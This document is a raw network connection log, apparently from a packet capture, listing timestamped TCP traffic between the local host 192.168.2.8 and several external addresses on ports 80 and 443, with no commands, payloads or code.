Nov 25, 2024 03:39:42.179025888 CET	80	49724	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:42.179111958 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:42.352817059 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:42.352868080 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:42.352957964 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:42.355377913 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:42.355401039 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:42.512195110 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:42.530188084 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:42.530220032 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:42.531599998 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:42.531689882 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:42.533600092 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:42.533685923 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:42.533936977 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:42.533951998 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:42.691268921 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:43.011492014 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:43.011715889 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:43.011892080 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:43.164341927 CET	49724	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:43.164828062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:43.165952921 CET	49739	443	192.168.2.8	94.245.104.56
Nov 25, 2024 03:39:43.165982962 CET	443	49739	94.245.104.56	192.168.2.8
Nov 25, 2024 03:39:43.283889055 CET	80	49724	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:43.284276962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:43.284373045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:43.310286999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:43.310323954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:43.429867029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:43.429884911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:43.429941893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:43.429964066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:44.179733038 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:44.179826021 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:44.273139000 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:44.273168087 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:44.273592949 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:44.275006056 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:44.275046110 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:44.275075912 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:44.305565119 CET	49750	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:44.305609941 CET	443	49750	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:44.305711031 CET	49750	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:44.306024075 CET	49750	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:44.306035995 CET	443	49750	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:44.359924078 CET	49752	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:44.359970093 CET	443	49752	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:44.360033989 CET	49752	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:44.360471964 CET	49752	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:44.360486984 CET	443	49752	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:44.364974022 CET	49753	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:44.365034103 CET	443	49753	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:44.365091085 CET	49753	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:44.365428925 CET	49753	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:44.365443945 CET	443	49753	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:44.394725084 CET	49754	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:44.394750118 CET	443	49754	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:44.394805908 CET	49754	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:44.395705938 CET	49754	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:44.395713091 CET	443	49754	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.046976089 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.047002077 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.047040939 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.047085047 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.047102928 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.047131062 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.053792000 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.053915977 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.055349112 CET	49759	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.055397987 CET	443	49759	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.055466890 CET	49759	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.055813074 CET	49759	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.055826902 CET	443	49759	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.057001114 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.057017088 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.057126045 CET	49741	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.057132006 CET	443	49741	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.095752954 CET	49760	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.095827103 CET	443	49760	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.095937014 CET	49760	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.098630905 CET	49761	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.098686934 CET	443	49761	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.098794937 CET	49761	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.099029064 CET	49760	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.099057913 CET	443	49760	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.099155903 CET	49761	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.099174023 CET	443	49761	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.258836031 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.258898973 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.258979082 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.259324074 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:45.259336948 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:45.346014023 CET	49752	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.346153975 CET	49759	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.346575975 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.346627951 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.346705914 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.346930981 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.346971035 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.347028017 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.348387003 CET	49753	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.348474026 CET	49761	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.348643064 CET	49750	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:45.349419117 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:45.349446058 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:45.349559069 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:45.350775003 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.350801945 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.350939989 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.351119995 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.351144075 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.351191998 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.352241039 CET	49754	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.352559090 CET	49760	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.352793932 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.352802992 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.352873087 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.353099108 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.353116989 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.353198051 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.354096889 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.354125023 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.354686975 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.354701996 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.355530977 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:45.355562925 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:45.356601000 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.356616974 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.357723951 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.357757092 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.358141899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:45.358207941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:45.358992100 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.359002113 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.359117031 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.359134912 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.367424965 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:45.367465973 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:45.367523909 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:45.368469000 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:45.368499994 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:45.387334108 CET	443	49752	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.387350082 CET	443	49759	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.391335011 CET	443	49750	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:45.395335913 CET	443	49754	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.395374060 CET	443	49761	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.395385027 CET	443	49753	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.395399094 CET	443	49760	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.487773895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:45.607228994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:45.653592110 CET	443	49754	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.653702021 CET	49754	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.653707027 CET	443	49754	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.653801918 CET	49754	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:45.661149025 CET	443	49752	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.661251068 CET	443	49752	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:45.661259890 CET	49752	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.661365032 CET	49752	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:45.666538954 CET	443	49753	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:45.666615963 CET	49753	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.256129980 CET	443	49750	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:46.256273031 CET	443	49750	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:46.256310940 CET	49750	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:46.256397963 CET	49750	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:46.286377907 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.286422014 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.286705971 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.287002087 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.287019968 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.306251049 CET	443	49760	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.306339025 CET	49760	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.309308052 CET	443	49759	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.309381962 CET	49759	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.332061052 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.332107067 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.332184076 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.332541943 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.332559109 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.402982950 CET	443	49761	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.403065920 CET	49761	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.455837965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:46.455921888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:46.472855091 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.472893953 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.472965002 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.473210096 CET	49793	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.473222017 CET	443	49793	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.586431026 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.587179899 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.587203026 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.588207960 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.588392973 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.589663029 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.589785099 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.589926004 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.589934111 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.590364933 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.591018915 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.591207027 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.591227055 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.591310024 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.591326952 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.592371941 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.592427015 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.592665911 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.592710972 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.599890947 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.599980116 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.600975990 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.601066113 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.601157904 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.601165056 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.601314068 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.601320028 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.633970022 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.658021927 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.658030987 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.658737898 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.658778906 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.659121990 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.659188032 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.661490917 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.661556005 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.662090063 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.662100077 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:46.674009085 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.674243927 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.676918983 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.676934004 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.677050114 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.677081108 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.677988052 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.678165913 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.678201914 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.678314924 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.679130077 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.679189920 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.680047035 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.680150032 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.680449009 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.680459023 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.680633068 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.680643082 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:46.697633982 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.768533945 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:46.799587011 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:46.799761057 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.020730019 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.020797014 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.020869970 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.021007061 CET	49767	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.021019936 CET	443	49767	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.025507927 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.025587082 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.025862932 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.025978088 CET	49782	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.025990009 CET	443	49782	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.026002884 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.026057005 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.026113987 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.026375055 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.026384115 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.078273058 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.078341007 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.078397989 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.079061985 CET	49768	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.079077959 CET	443	49768	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.114648104 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.118026018 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.118052006 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.118510008 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.118526936 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.118575096 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.118585110 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.118640900 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.119266987 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.120506048 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.120604992 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.120769024 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.120791912 CET	443	49771	142.250.181.97	192.168.2.8
Nov 25, 2024 03:39:47.126653910 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.127104998 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.127178907 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.127377033 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.127393007 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.128168106 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.128351927 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.128499031 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.129209995 CET	49781	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.129228115 CET	443	49781	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.132739067 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.154498100 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.154531002 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.155335903 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.155342102 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.155390978 CET	49763	443	192.168.2.8	20.190.177.147
Nov 25, 2024 03:39:47.155397892 CET	443	49763	20.190.177.147	192.168.2.8
Nov 25, 2024 03:39:47.193619967 CET	49771	443	192.168.2.8	142.250.181.97
Nov 25, 2024 03:39:47.194574118 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:47.194935083 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:47.194953918 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:47.196044922 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:47.196125031 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:47.197524071 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:47.197654963 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:47.321444035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:47.361749887 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:47.361773968 CET	443	49787	18.165.220.106	192.168.2.8
Nov 25, 2024 03:39:47.440931082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:47.471616030 CET	49787	443	192.168.2.8	18.165.220.106
Nov 25, 2024 03:39:47.598031044 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.598738909 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.598757029 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.599814892 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.599879980 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.600231886 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.600287914 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.600677013 CET	49791	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:39:47.600683928 CET	443	49791	162.159.61.3	192.168.2.8
Nov 25, 2024 03:39:47.609993935 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.610265017 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.610280991 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.611279011 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.611345053 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.611715078 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.611763954 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.611865997 CET	49792	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.655129910 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.655174017 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.655323982 CET	443	49792	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.655323982 CET	49795	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.655359983 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.655371904 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.655416012 CET	49795	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.655869961 CET	49795	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.655884981 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.655997038 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:39:47.656017065 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:39:47.683207035 CET	443	49793	172.64.41.3	192.168.2.8
